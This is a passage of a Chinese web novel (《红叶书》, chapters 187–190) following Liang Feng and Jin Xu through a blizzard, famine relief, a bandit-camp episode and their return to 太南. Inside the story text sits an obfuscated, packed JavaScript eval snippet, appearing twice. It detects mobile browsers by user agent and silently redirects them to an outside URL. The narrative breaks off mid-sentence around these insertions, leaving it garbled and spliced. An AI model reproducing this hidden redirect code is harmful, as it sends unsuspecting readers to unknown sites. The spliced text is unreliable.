他这里出不去,其他地方的人一样出不去。联系不上县令,街上估计没有活人了,山里的村民不知道还能撑多久。前一夜会不会有灾民想要入县,结果被拦在了城外,守城的人肯定全数避进了屋里。 想七想八想不出办法,只能等雪停了给家中缺粮的百姓派发粮食,尽量保住县里还活着的人。入山救援极容易遇上雪崩,雪融化之前,山里的人不好救了。 梁风坐在床边,一点声响也没有,金絮醒了。 梁风点燃蜡烛,“继续睡吧,我们被困住了。” 她眨眨眼,醒了。 “风雪太大,出不去了。” 狂风尖锐地呼啸而过,金絮睁大眼睛看看窗户和天花板,被子里缩成一团。 “饿不饿?” 她点头。梁风起锅煮食,昨晚那一锅药材加小米的东西留在了主屋,今天煮点土豆。 金絮穿好衣服,和暗卫一块围锅取暖。 “支郁村民恐怕活不下来了。”梁风道。 “不一定,或许明天雪就停了,他们从村子逃出去时肯定带了粮食的。” “那也是。”只能往好的方向想了。 吃完饭节约用水不洗碗,下一顿直接吃。梁风带着她在屋内简单活动身体,热起来还能节约用炭。 风雪压得很暗,但是夜晚和白日的天色还是能看出一些不同,他时不时打开一条门缝,能通风还能计算时辰。 大约到了晚上,风雪不见小。入睡前金絮泡好脚道:“发生天灾的原因是君主无德,这全都要怪到皇帝头上去,皇帝该死。” 梁风应是。 “皇帝应该颁布罪己诏,向全天下人痛陈自己的罪过。” 梁风连连点头。 她气得咳嗽,梁风把她盖进棉被里去,“可别生病了,出不去不好找大夫。” 她吸吸鼻子,梁风熄灯钻进被子里。 “廷尉受的刑鞭让你身子变差了。” “可能是吧,这都要怪皇帝。” 手肘一动就会碰到她,梁风平躺,双手交叠放于肚子上,睡姿安详。 “我昨晚突然想到一个问题。”他道。 “什么?” 梁风略略咳嗽,清清嗓子,认真地说:“我最近开始思考,喜欢一个人不是光喜欢就可以的,里面的讲究也挺复杂,从前是我忽略了。” 她默了一瞬,问:“所以呢?” 梁风腹稿没打清楚,金絮又问:“思考的结果呢?” “......没想明白。” 她不说话了,扭一扭,找了个姿势睡觉。 梁风还不想她睡,手肘碰碰她贴最近的手臂,“我想到了一点。” 他道:“我觉得如果两个人要想能一直走下去的话,双方都需要做出一些取舍的。” 她没回应,梁风自顾自挑剔辞藻道:“或者说迁就。或者说牺牲。就是一些退让什么的。” 梁风拽拽被子,扯动她,“你以为呢?” 太黑看不清她的神情,但是呼吸缓缓,没有心态异样的表现。 金絮语气琢磨道:“这种,比较适合心意相通的两个人吧。” 通?他可堵着。梁风道:“你睡吧,我还要再想想。” 他想了很久,想不出结果,风雪声吵得睡不着。 睁眼时大雪仍然未停。 如果昨天还有幸存者,没能得到及时救治,到今天肯定没了。 梁风打着蜡烛,记录门外的积雪深度。屋里面很冷,必须烧炭供暖。烧炭时,梁风拉着她一块谈天,什么都聊。她偶尔不回话,就硬聊下去。 之后一连两日,大雪都未见停歇,困在这间小房子里哪也去不了。 金絮逐渐从喜欢在床上裹着被子等雪停,变成蹲在大门前托着脸呆呆看门外一丁点朦朦雪光等雪停。 梁风担心她多想,屋子里也太冷了,便烧了一锅水。热气在屋内腾腾,滚水发出的轱辘轱辘声听起来很温暖。 “突然之间要死了。”她在门外的朦朦雪光中看出了什么,“我们也许活不过这个冬天。” “不许瞎说。”梁风敲她脑壳,“有粮食有水,这雪不可能数月不停,你看谁会死。” 她戴着厚厚手套的手摸摸脑壳,“偏房的粮食不多,节约着吃,够吃七八天,可是现在已经过去四天了。” “还有三四天呢,或许明天雪就停了。”梁风和她并肩蹲着,共同观察门户上的雪光。 “死可以,不好的是一些死了,一些没死。如果偏房的粮食不够了,我们得想办法送点过去。” “怎么送?积雪太厚,门已经推不开了。”梁风对着门比划隐约可以看见的积雪厚度,“除非在屋顶开个口,否则不能出入。” 金絮抬头四看,房梁之上漆黑的。梁风道:“屋顶开口,风雪就会灌进房内。如果这间房子内部被雪淹了,到雪灾后期启用应急粮赈灾,还得把满屋子的雪挖走才能打开地窖。” 金絮沉默,垂下视线不再看房顶。 “我怕听见他们的呼救。”她皱眉,忽然想到什么,贴近他的手臂,附耳道:“告诉你一个秘密。” 梁风低头,耳朵伸过去细听。她眼睛亮晶晶的,悄兮兮地说:“我们在棺材里面。” 她的眼珠子朝上转了一圈,示意屋顶,“外面在盖土了。” 梁风注视她的眼睛,眼睛深处星星点点的笑意,“那等土盖完,我们诈尸,掀了这棺材。” “嗯嗯嗯。”她眉眼弯成一道,笑得更加开心。 这是在活埋。想不到办法,只能祈祷这场雪尽快停止。 第七日,门外的积雪快高过大腿了,门扇连一条缝都推不开了。梁风怀疑算错了时辰,被困住的日子可能比七天多,也可能没到七天。 她像是想开了,整个人变得轻松了起来。 “虽然被风雪阻隔,这里简直像桃花源一样。” “我的棺材有这么大。”她展开双手,比划这间屋子,“真不错,皇帝死了之后的棺材肯定没有我的大。” 梁风胡诌:“史书上有记载,曾经中原最大的一场雪连下四十日不停,冻死上千人,可仍有人在那场雪灾中活了下来。白沙县这场大雪固然难熬,但也不是毫无生机,我们有足够多的食物,你就不要忧心了。” 她裹着棉被屈腿坐在床沿,梁风抱住棉被,抱住她,“非死不可的话,我和你埋在一起,我们合葬。” 她呆呆看着微弱的烛光,没有说话。 十日,十个人,厨房里囤的两缸清水快喝完了。 金絮扒着缸口,对着缸里面说:“四十日,十日。” 缸里传出她的回音,闷闷的,压抑她声音里的疑惑,放大声音里的空茫。 “声音小了。”她忽然抬头看向房梁。 屋顶漆黑,烧炭的火光照耀不上。梁风也听出呼啸的狂风正在减弱,但是难以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁风整日揣着粮食与账册在各处屋顶跳来跳去,扫出来的道路慢慢相连,全县疏通用了三四日。 井水不足,融雪用于补水。县衙囤粮暂足,他和金絮那处的地窖暂时不用,梁风把她带去县衙,帮着施粥。 在所有白沙百姓都得到有序救助时,梁风抽出人手开始通山,尽快与郡守取得联系。 县四周的山全封了,山谷都是雪。忙碌于赈灾时,不知不觉进入正月,新年到了。 家家物资紧缺,过年气氛偏淡,只偶尔能在落雪堆里听见两声鞭炮响和小孩嘻哈。 他走在前线通了几日,忽然发现后方士气不足。 县里出现恶斗抢粮的事情。县令出面调停,启用他和金絮屋下的地窖粮食。金絮每日吃的粥饭米粒越来越少。 之后几天,百姓抢粮的情况加重。粮食愈发紧缺,梁风一边通山,一边与县令游走几个大户人家征粮。 唯一庆幸的是没有再次下大雪。 直到二月底,大山意外打通了。 他与山的另一面胡郡守派来救援的人迎面相通,援助的粮食送了过来。 梁风见到并阳郡胡郡守和刺史许义。 许义送来一封信。 在大雪前,安分王抵达白沙县的消息已经传到并阳郡,朝廷下派的赈灾刺史许义带着皇帝的话,命郡治优先疏通与白沙县的官路,解救白沙县百姓。 许义还和他说,辛苦安分王这段时日赈灾,白沙县灾情郡内已知晓,后续赈灾的一切事宜皆交由官员负责,请安分王暂歇,陛下心系他的安危。 梁风欣然答应暂歇,冬天也到了尾声,本也不需要他再做什么。 他将屋子烘得暖暖的,金絮可以安然度过雪融化时的大降温。 积雪始融,尸体开始掩埋了。 “开春我们就回太南吗?”金絮问。 “嗯,你还有其他想去的地方?” “没有了。”她问道:“这场雪灾死了多少人?” “白沙县和支郁村加起来冻死二百五十一人。” “这么多,都快赶上皇帝了。” 她展开许义给他的信,“皇帝的眼睛无处不在。我还以为走得足够远了,结果离京到这里根本只跨出了一步的距离。” “哪有那么夸张。”梁风拿来信纸,“你不要看。” 信里也没什么内容,不过几句皇帝的客套话。 188. 《红叶书》(一零八) 不看就不看了,她也不稀罕。 金絮继续哆哆嗦嗦地窝在客栈里避寒。 梁风看她哆哆嗦嗦的样子,点足炭火,烘暖她。 他的十三变成明卫了。 金絮想去武林大会。 四月,不知名花开。 梁风收拾好行囊,出发前,他和暗卫在城内四处打听武林大会在哪里举办,现任武林盟主是谁。 一无所获。 许大人得知他在打听,派了个人过来说,白沙县通往并阳郡路上的五连山窝藏许多山匪,而开春是匪患最厉害的时候,建议如有需要可以绕过五连山。 许义此次下并阳郡,随身任务除了援助赈灾外,还有处理匪患的圣令,五连山其中的虎头寨已藏入许义卧底。 不同于他从前的剿匪,没有人带兵以武力压制,因此许义的剿匪策略是文攻。 金絮听说后,眼神变得蠢蠢欲动。 开春了,温暖了,她的心思活泛起来了。 “干嘛?” “我想见识见识山匪。” “你喜欢被劫啊?” “又找不到江湖,只能看看山匪了。” “山匪又不是江湖。” “谁说不是,山寨在江湖里面呢。” 梁风不吭声了,金絮追问:“你不许啊?” 他不答应,金絮索性道:“你不许,我带着十三自己去。” “十三成了你的人了。” “十三愿意听我的。” 他可没听十三这么说过,梁风拽住她的手腕道:“刺史许大人正在清除五连山匪患,山寨已布有他的卧底,我们胡来或许会搅乱他的计划。” 这么一说,她倒是想了想,寻思道:“你插手许大人剿匪,皇帝不会以为你有什么心思虎视眈眈吧?” 她道:“那我们绕过五连山好了,反正回去这一路肯定能遇见很多山匪打劫。” 梁风闻言,换了个大些的马车,备多点粮食和钱币,以供路上打劫用。 金絮准备齐全,跨上马,指挥道:“出发!” 暗卫在附近散开,监视周遭一切动静。 梁风驾车,行驶在山间绿芽新冒的树荫小道,和她一道并肩坐在车舆,看她为休眠一整个冬日的林野小动物撒食。 行了一日,遇上打劫的了。 “人家自己送上门来了。”金絮躲进车里道。 这里是五连山外围,距离山匪驻扎的核心官路地段挺远的。梁风留下两袋稻谷和一小袋钱币,平安继续出发。 梁风怀疑十三伙同其他暗卫瞒报,不然为什么没有人和他说山匪渐近需要避开,他的暗卫已然被她收买了。 他怨怨的,“你又不和我在一起,你还要收买我身边的人。” “才怪,我谁也没有收买,我只和十三说过几句话。”她矢口否认。 梁风扭脸,“我们不在一起就要保持距离,像是之前要我暖被窝之类的事情,我是不会再帮你做了。” “好啊。”她爽快应了,“也没有下次的机会了。” 梁风简直没什么好说,他该捡一捡自己掉落的底线了。 行了两个时辰,又被同一批山匪拦下。 “你太大方。你看看,人家又送上门来了。”她道。 山匪们自报家门,说是附近虎头寨的人,扬言这一次不止要粮食还要人。 “要我?”金絮从车厢钻出来。 梁风看她兴致勃勃的一脸,心里无奈。匪患真是屡剿不绝,城里缺粮,哪儿还有多余的粮食给山匪夺去。前面的雪灾太过厉害,五连山的山匪饿了一个冬天,扩大了打劫范围,也或许是他不该交出兵权。 被两三个小匪押着,他牵着金絮站在一边,看匪子们搜索他们的行李。 这十三四个山匪的首领叫三当家,恐怕上头还有两个当家的。梁风仔细一权衡,找个由头,猜想许义大约没有太多对付山匪的经验,他被抓进山寨,说不定能和许义来个里应外合。 三当家搜索完行李哈哈大笑,梁风心里淡定,跟随众匪被押去往虎头寨。 一路上金絮和三当家有说有笑,像是匪子们要,她当真愿意给的样子。 梁风和她的距离最多隔一步。 走了很久,走到太阳快下山了,终于看见虎头寨。 三当家这趟收获颇丰,寨子里的人欢呼着夹道相迎。 可是这个寨子很穷。梁风看了一圈,寨内人面黄肌瘦,衣衫单薄,想必入冬前的存粮极其匮乏,被这场天灾打得猝不及防。 他回忆一下,想起来自己以前剿匪时没见过这么穷的寨子。像这样穷的山寨,往往在他的军队到达之前就自主归降招安了,完全不用他花心思游走。 如果他透漏一下身份,虎头寨的当家们会不会受惊,然后痛快投诚,给许大人省事。 金絮还挺兴奋。 ——她没见过这种场面,自以为身处江湖。 多少他能宽心了,这么小的山寨,没有他里应外合许义也搞得定,有没有他都不影响许大人完成剿匪计划。 被带去虎头寨的大屋,梁风在大当家的案头看见一卷官府文书。金絮也看见了,探头与他窃窃私语。 大当家似乎以为他和金絮是官府的人,对他们十分忌惮。 “许义大约是想以和平的方式收服匪患,不知那卷文书是不是讲和。”他低声同金絮道。 三当家和大当家一言不合吵了起来,似乎是虎头寨内部经营困难,三当家这回把他们抓来,触及到虎头寨的生存底线了。 梁风气定神闲,又被推搡出去。 外面的匪子们还在围着战力品欢呼,人群中走来一名女子。 三当家指着他对女子道:“二姐,怎么样?喜不喜欢?喜欢就拿到屋里去,三弟我知道二姐你喜欢长得细致的,特意给你留着!” 蓦然被一指的梁风愣住,细致?拿? 二当家十分满意地看着他,犹如看着囊中物。 他摸摸脸,向金絮投去目光,征求认同。 金絮没注意到他的目光。 她正神情严肃地观察四周,眼珠戒备地小幅转动,扫过山匪们的哨卫布局和武器摆放位置。像是发现两位当家的内讧,虎头寨内部原来矛盾重重,她开始思索自己身处匪营面临的势态,以及该如何寻隙解救自己逃出生天。 她是很认真地在参与江湖。 梁风不动眼神了,她接收不到。 大当家大手一挥,只留下马车内一半物资,并放他和金絮离开。 “嗯?”金絮双眼懵懵然一睁,心里在谋的大事被轻易打断,她不费吹灰之力逃出生天。 狼头寨的人攻上山了! 虎头寨吹号示警,匪子们有序地拿起武器严守。梁风和金絮就这么被赶出山门。 金絮懊恼,“荆风和木果还在虎头寨。” 留下的一半行李包含荆风和木果,梁风道:“不着急,才开春,山匪们都没有余粮了,打起来很快就会结束的,死伤也会轻很多。” 金絮思索道:“既然开春很困难,这个时候虎头寨还要和狼头寨互打,你说会不会是虎头寨当家和狼头寨当家约定好的,想趁这次拼杀解决掉一些人口。少了几张嘴吃饭,寨子内部就没有那么困难了。” 梁风一顿,只道:“不好说。” “这就是江湖的血腥吗?” 她问完,自问自答:“这不一定是江湖的血腥,但江湖是血腥的。” “这样的情节,笑长生写过。” 梁风牵住她的手,往山的侧面走,避开拼杀,说道:“真正的江湖,不是话本里的样子。” “差不多。” “差这么大是差不多的话,那我们也差不多。” 她溜去旁边草丛,“我要解手。” 傍晚的时候,两寨打了起来。 梁风和她躲在不远不近的地方观战,派出暗卫趁寨子内部混乱时将荆风木果还有一车行李拉回来。 算着时辰大概打完了,梁风才带她去战场。 开春的树林草木并不繁茂,太阳落下去后泛出一股冷意。梁风往林子深处走了一段,发凉到近乎泛寒的气息忽然激起他一阵警惕,他放慢脚步。 前方出现亮光,冷意被一股温暖覆盖。梁风拉着她彻底停住不走了。 他吹哨,暗卫落地,向他秉道:“主子,两寨互斗已经结束,寨子的火暂时无法熄灭,并阳郡守的属下在附近希望见您一面。” 其他暗卫拉着马车和荆风木果赶到,梁风命暗卫留下保护她,和她道:“我去去就回。” 她点头,梁风便向燃烧火焰的虎头寨走去。 火光逐渐灼热,驱赶林子里的寒意,梁风闻见温暖中一股浓重的血腥气。 微弱的哭喊与痛呼清晰传来,他在火场外围走了半圈,大致看清虎头寨的情形。人基本死光了,四处都是男人的尸首,妇孺应当跑了或是放了。 梁风呆呆看着火光,人全杀死,不是招安。 皇帝对 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梁风颔首,掾属看看他道:“王爷这就准备离开白沙县?之后是上京去?” “嗯。游山玩水玩够了。” “那您前方是否借道并阳郡?胡大人已为您备好了马车与随行向导,能够一路护送您上京。过两日,许大人也即将返回京城。” “不用了。”他还想和金絮独处。 “王爷,陛下有旨意即将到达并阳郡,圣旨内或许有陛下给您带的话,胡大人交代下官一定要请您在并阳郡内留待几日,胡大人的夫人也想见见此行与您同路的姑娘。” 提及金絮。胡郡守注意到了金絮,那朝堂那边呢。梁风保险起见想还是依顺些。 “本王想想。” 梁风绕过掾属,走回金絮那里。 她坐车舆上,手边放着他的刀。暗卫们在马车四周围了一圈。 金絮看着他走近,不说话,等他开口。梁风微微牵住她的手腕道:“我们去并阳郡住几日好不好?等一道圣旨。” 她点点头,跳下车舆就准备走。 梁风和暗卫吩咐,让掾属在前带路。 她没有多问,心里仿佛十分知道。梁风感到她的贴心,放不开她的手,越握越紧,和她一道往林子外走。 脚下树枝踩得咔嚓作响,月光被层林遮挡,地面落叶枯枝黑作一团,她只有个大致的轮廓。梁风怕她踩空滑倒,悄悄拽近她的手,随时扶着。 “喜欢这处江湖吗?” “好像没有很喜欢。” “还想去什么地方?” “没有了。”她摇头,“已经看过江湖,没有想去的地方了。” 一道圆形的月亮光斑划过她的下巴,梁风短暂看见她清清浅浅的眼神,和她在光线扫过去的末尾向他对视过来。 “那你有了想去的地方再和我说,我会想办法离京。” 握在他手里的指尖勾了勾,她应:“嗯。” 梁风心里忽然雀跃,厚着脸皮想起什么,“哦对了,虎头寨的二当家看上我的美色了,三当家还说我长得细致。” 他一边说,一边骄傲地仰脸。走入一片枝叶稀疏的树下,月光朦胧,金絮果然一直在看着他。 她问:“那你觉得二当家眼光好不好?” “相当优秀。” 她一笑,“嗯,确实。” 梁风一瞬间捏紧她的掌心,脚底差点跳起来,“你在夸我?” 她再应:“嗯。” 梁风笑出声,得意地边走边跳,脚底啪嗒地踩碎枯枝,欢快地作响。 他晃晃她的手,“我有时候想,你不如去我去不了的地方,去做我做不了的事情。” “但我又想到,你很自由,可是如果你只有一个人的话,你又不会武,光是会赚钱很难保护自己安全,所以你其实也不会去到特别远的地方,更多的时候还是在太南和你的姑娘们一起打理产业、打理生意。生意做大了之后反而也是牵绊,生意上的人全都需要你照顾,脱不开身的,像是你在温柔馆那样。我们当真是差不多的。” 他不断地看着她,不断地晃着她的手,“这是我的私心,我希望你自由。” “我知道,真正做到自由的人少之又少。”金絮由他晃着。 心跳声比月光吵闹,梁风紧紧握着她的手,悄悄分享:“你刚才夸我让我很高兴。” “嗯,我也知道。” 189. 《红叶书》(一零九) 心里有一团小火苗在燃烧,梁风开心得收不住。她得偿所愿见到江湖,她也很开心。 前方不远站着等候的掾属,梁风牵着金絮的手不放开,欢欢喜喜从掾属面前路过。 如果皇帝注意到金絮,为了避免麻烦,还是得尽量将她伪作成......红颜?知己?反正最好是往男女关系上想。 林子外停着胡郡守一众车队。 梁风和她坐在车里。金絮说他脸上有个面具印子,被太阳晒出来的,她哈哈大笑。 可是她也变黑了。梁风觉得她现在黑黑的样子比之前白白的要好看多了。 “我们会和许大人一起回去吗?”她问。 “不会,我们不和他一起,就我们俩。”如果许义这么说了,他就把人赶走。 到了郡城,住进胡郡守安排好的府邸,金絮总算彻底没有叫他暖被窝的机会了。 刚住下来,梁风却有了事情。 胡郡守拿了些这场雪灾的受灾汇总文书给他过目。梁风不看,他当然不能越过许义的职责,他是来游山玩水的,是被雪灾波及的,不是来监察官员做事的。 圣旨下达提前了一日,第二天皇帝的话就到了。 圣旨笼统地说赈灾一事做得非常好,帝心甚慰,又说听闻安分王也在并阳,便授命安分王与许义一同监管赈灾一事。 许义尽职尽责,连夜核实赈灾援粮是否落实、款项是否有官私吞、并阳郡辖下所有县村总共死了多少人,将此次冬灾情况详细整理成册,呈他过目。梁风还什么都没说,许义就似乎默认要经他点头过后再上报朝廷。 梁风发自内心不愿意多管,帮着白沙县令赈灾是一回事,现在得皇帝授令要他越权监管是另一回事,他明白有些事情不是说有了皇帝旨意就名正言顺了。 许义说不定是好不容易才得来这个独立赴往地方赈灾的任务,结果赈灾功劳被不知从哪冒出来的安分王横插一笔,许义肯定觉得亏死了。 真是莫名其妙,皇帝批了他休沐,他是来游山玩水的,不是来平白得罪人的。他自己就是受灾中的一员,不帮白沙县令,他和金絮或许都冻死了,又不是他很有兴致越权监管。 梁风还是不看许义呈给他的文书,只说以一个亲身体会过雪灾的受害人,讲一讲当时大雪连下十日后的街道与百姓情形,命许义听了有需要上报给朝廷的内容便记录一下。 这两天,金絮与胡郡守的夫人见过一次。她闲下来就在并阳郡周边四处玩,随行都有十三陪同。 她出门一趟后,十三回来向他说,她去了一趟郡外的阳山,想看景,结果意外遇见贾镇,她躲着贾镇提前下山了。 贾镇是温柔馆的熟客。他多问了一句,得知贾镇的老家就是并阳郡。并阳贾氏,是整个并阳郡掌控贸易的商贾大家,如今贾氏当家之主就是贾镇。 抑商政策实施后还能出现掌控一郡贸易的商户,并阳郡或许离京城太远了。梁风转念一想,双缗令之下交的税钱巨涨,但也没有明言限制商贾做生意的规模,贾镇能将生意做到如此之大是有本事的。 金絮有点忌惮,不再出门了。梁风便拉着她一块在府邸内看许义记录的他口述过后的内容。 “不要在我身边放暗卫了,我最后和你说一次。”金絮下最后通牒。 梁风看看她的脸,不吭声。 金絮不再多说。梁风感到掌心里手变得僵硬,隐隐地在同他反抗,只好当她的面将十三召回。 “那你有什么事情都要和我说。”梁风道,她现在就在眼前,收回暗卫没什么,等回到太南他再商量。 又过一日,许义将所有赈灾相关文书整理好,梁风便向胡郡守告辞。 一车行李添置妥当,梁风和她在早晨沐浴朝阳出发。 路线与来时有略微调整。正是春天,百花盛开。梁风出发前问过胡郡守找到的向导,在原路的基础上拐了几个弯,重新规划一条能观赏花开的路,他想和她边赏花边回去。 有了来时的经验,知道路上会遇到什么突发情况,即便不走相同的路他也有应对的把握。树荫多了也会没那么晒,他还给荆风的马鞍加宽加厚,方便她躺着。 金絮便整日地不是躺在马车里,便是躺在马背上。 来时走了一路她的体力见长,脚底也磨出茧了,可是床上窝了一个冬天,她又不耐走了。 梁风看她躺在荆风背上的姿势愈发随心所欲,她已然十分驾驭得了了。她甚至能在马背上睡觉,她对于平衡一术有相当的造诣。 上半年的天气越走越炎热,她每隔一天就说想洗澡。相比下半年的冬季,这很麻烦。 而那个会磨她皮肤的洗澡袋,梁风早就进行了修补。 他想来想去,觉得还是用这个牛皮袋最方便。他在袋子内侧贴了一层棉布。湿了水摸起来顺滑柔软,十分能保护她的皮肤,只是每次洗完后要把袋子翻过来晾晒。 金絮嫌麻烦,想去河里洗,梁风一直不许。 他不许她就没办法,因为要他许可了,暗卫才会守在一里之外防止外人靠近。 她不爽,“那个袋子用起来很麻烦,你的人不守着也行,我不介意被人看见。” 她强烈控诉:“不是说磨不磨皮肤,而是那么小一个袋子,手都不能打开,我就只能这样。”她双臂夹紧,双手交叉贴在胸口,整个人缩成一条,原地转圈圈。 梁风想象了一下自己用这个动作在袋子里洗澡,被逗笑了。 但他咬死了不同意。 好在她虽然不介意被人意外看见,但她绝不会在他离开时偷偷下河。每次遇到水,梁风还是能很安心地带着暗卫出去捡柴。 沿路小河足够多,各类花树需要河水灌溉,花开得好的地方河水当然是充足的,令她总是望眼欲穿。 她没有不开心,梁风有时递出手,能得到她的回握。 “为什么喜欢在河里洗澡?”他问。 “因为这样的情节在话本里面经常出现啊。”她理所当然道:“不是经常会写到有的女子独身一人下河洗澡,然后被人偷看到了,或者是被偷了衣服,这个人或男或女,两个人不打不相识。”她摊手,“简直不在河里洗过澡就不江湖了。” 梁风一点不认同,“你总有你的理。” “你又为什么一直不同意。” 这里是野外,没有围挡,又不是有遮挡的室内。 梁风没法像她这样理所当然。对他来讲,金絮有没有在他的掌控范围内脱衣服是一件非常重要的事情,不论会不会被他或者是旁人看到。 “话本是不真实的。”他小声道:“不可能只是偷衣服。” 他很小声地念,金絮却听见了,道:“我知道啊。” 她躺在荆风上,戴着歪斜的斗笠扭头看他,目光坦然直率。她知道话本不真实,她知道江湖只是她想象中的江湖。 “不行。”梁风坚持,并加多一句八竿子打不着的提醒:“现在是春天。” “我也知道啊。”金絮仍是坦然且直率,收回目光,看向头顶的树叶,不再提要求。 梁风坐在木果背上,高度和她相差无几。他拎过来她的手,春风还冷,她的指尖有点凉。梁风握了一阵,才发现可能是他的手掌太热。 她多数时候不喜欢待在马车里,喜欢骑马,并且雨露均沾,骑一会儿荆风,骑一会儿木果,梁风不得不跟着她换来换去。 春夏多雨,进城时梁风给她买了个竹篾编两层的遮雨斗笠,备了蓑衣。金絮戴了两天便换回更轻薄的斗笠,她嫌重。 她还喜欢看地图,一点点比对路程,对他的路线安排指指点点。 梁风坚持按照已计划好的路线,可是无论他如何想要拖慢脚程,进入京畿地区的日子比他计算中提前了两日。 回程的路走得太快,用时两个月,于六月中抵达太南。 她一大早脸上带笑,戴好斗笠,骑着荆风,蹬蹬蹬地往城门跑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839924|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 为什么不能再去远一点,白沙县离得也太近了。 顺利进城,梁风送她到家门口。 金絮爱不释手地抱抱荆风,依依不舍低声告别。抱完荆风她又抱木果。梁风张开双手,等着她抱完马来抱他。 她没抱,笑着和他说:“感谢王爷这大半年相伴,王爷保重。” 不仅没抱,还礼了一下。他面具在脸上呢,什么王爷。 金絮清点自己的那一部分行李,几乎全是纸稿,她自己和笑长生的,已经用盒子装好了。她继续翻找,翻半天没翻着,问道:“我钥匙你放哪儿了?” 梁风在旁边袖手观看,她翻找行李的眼睛逐渐落到他身上。 梁风拽住她的手腕,从怀里摸出钥匙,伸到她眼睛底下给她看看又拿回来。金絮看了看他攥着的掌心,看了看他。 “你之后上京去吗?”她道。 梁风摇头,“先不去。” “上京前的这几天住在哪里?” 他脑中出现和光府,忽然间想起什么,“哦对了,我要带你去看看我在太南的住处。” “现在吗?我想洗澡睡觉。” “不是现在。”回来了也得休息休息,梁风道:“明日或者后日我来找你。” 攥着钥匙的掌心有些松动。梁风犹豫着还是不想递过去。 “我们一块用个饭再分开。”他道。 金絮越过墙头往院子里瞧,院里升着一道炊烟。 “我在你这用饭。”梁风揣着钥匙,自己开门走进去,面具就是他的脸皮。 “我这可招待不了你。”金絮追着喊。 梁风径直走向燃着炊烟的屋子,还没进去,里面探出个小脑袋。厨房里的小姑娘听见动静跑出来查看。 梁风知道这小姑娘叫柔竹,是金絮在太南的心系。 小姑娘个子不高,厨房里忙碌出一身油烟,看见金絮便双眼发亮,欢天喜地扑进她怀里。 “阿絮姐,你晒黑了!” 梁风摸摸脸,他也晒黑了,怎么没人来抱他。 他孤独地走去厨房,孤独地等饭吃。 金絮决定和柔竹一块做饭,还托十三去外面买新鲜食材。 梁风在旁边坐等,看她在浓烟中乱窜,听她问:“丽姬有信寄来吗?” 柔竹说没有。金絮皱皱眉,眼神间颇为嫌弃丽姬的样子。 油锅滋啦作响,烟雾弥漫起来。梁风提高声音盖过滋油,“柔竹是你放不下的人,可是京城也有你放不下的人。” 她淡定,“你别在我身边放暗卫,我就什么都能放得下了。” 十三回到她身边了,梁风不说话。柔竹听见,在她耳边悄悄道:“阿絮姐,王爷还会命人监视你啊。” 她没回声,背着他做了什么小动作,柔竹便“咦”了一声。 压低的声音在他耳中清晰可闻,梁风坐不住,喊道:“暗卫不放便不放了,不许偷偷说我坏话。” 柔竹往金絮身后缩,小心地偷瞧他。金絮道:“没说你坏话。” 梁风才不信。 他在旁边看了一阵,看出金絮也不咋会做饭,但是柔竹很会搞。柔竹挥着菜刀利索的动作看得他蠢蠢欲动。菜刀也是刀,他自认刀法优异,一定比柔竹还利索。梁风暗自决定上京前一定要和金絮做顿饭,和她一起被油烟气包裹。 最后用了半个时辰做好四个菜。 梁风把每个菜都吃了,都很好吃。他一边吃,一边防着金絮偷偷摸向他钥匙的手。 她似乎胃口很好,吃了两碗饭,吃完便道:“再见,我要洗澡睡觉了。” 赶他的动作利索得像是柔竹挥刀的样子,梁风攥着钥匙道:“没有钥匙我也不怕,这么个墙头我跳一下就翻进来了。” 金絮立马瞪他。梁风将钥匙放进她的掌心,召来十三,再一次当她的面回收十三,然后自己开门出去,回身给她关好了门。 金絮在里面把门锁上。 190. 《红叶书》(一一零) 十三是真的召回来了。 但他寻思着,什么时候偷偷放回她身边。 梁风踏着星夜驾车回和光府。到了后马车交给门前小厮,进门就有蜡烛照路,一条蜡烛沿途直通向他的寝房,也是原顾府的客房。 老李这八个月都在京城,前几日接到他的通报才抵达太南,蜡烛肯定是老李准备的,肯定在等他回来。 梁风走入房中,见老李正在书案前拾掇些信纸,一抬头看见他,上下打量片刻,微微笑道:“王爷晒......” 梁风解开脑袋后面的绑绳,李晟随即看见他脸上揭去面具后的面具印子,后半句话卡在了喉咙里。 梁风摘了面具,把身上所有东西都卸除,先洗澡。 老李叫来李婶一块商量该如何进行美肤。 梁风洗完了澡,坐在书案前,一封一封察看老李整理好的信件。 有敬先寄的,满纸写的是控诉,对他抛下京城的一切跑去潇洒而自己只能在家照顾妻儿气得七窍生烟;有与義寄的,与義向他借钱,老李已经依言全数调钱过去了。 还有皇帝的。皇帝的信件集中在前几天下达,而且是往太南寄,不是寄去京城王府。这显然是算准了他抵达太南的时候,还知道他在太南住的地方是这处顾府旧宅。 回程的这段日子,沿路始终有皇帝的眼线尾随。梁风发现了,并且放任,没想过处理眼线助长皇帝的疑心,这也是他路上始终不肯让金絮下河洗澡的原因。 皇帝两封信,一封问他何时回京,并责怪他今年春节大雪竟然不在京城过,言下有催促之意。另一封信说的是她的婚事,皇帝帮他相看了个不错的适龄女子,名谢韵,随信附带一张谢韵的画像。 “这谢韵是谁啊?” 老李答道:“是御史大夫谢太傅年纪最小的孙女。” 他知道。信里说了,但他想知道的不是谢韵的身份是什么,而是谢韵是谁,谢韵又知不知道他是谁。 梁风放下信不管了,去睡觉,醒来还有事干。 第二天睡醒,梁风将和光府布局图找来,走遍府中所有地方,一一查看损毁过于严重的位置,修补一番,摆上几盆绿植装饰。 老李年纪大了,精力不济,修缮府邸这种太过操劳的事情梁风不想交给老李。但是具体如何修缮他想听金絮意见,有些被损毁得太过难看的地方他不愿意让她看见,趁今天挽救一下,明天再带她过来。 马场的草坪经过这八个多月养护好转了一点,但枯草和秃地还是太多了,梁风无可奈何。 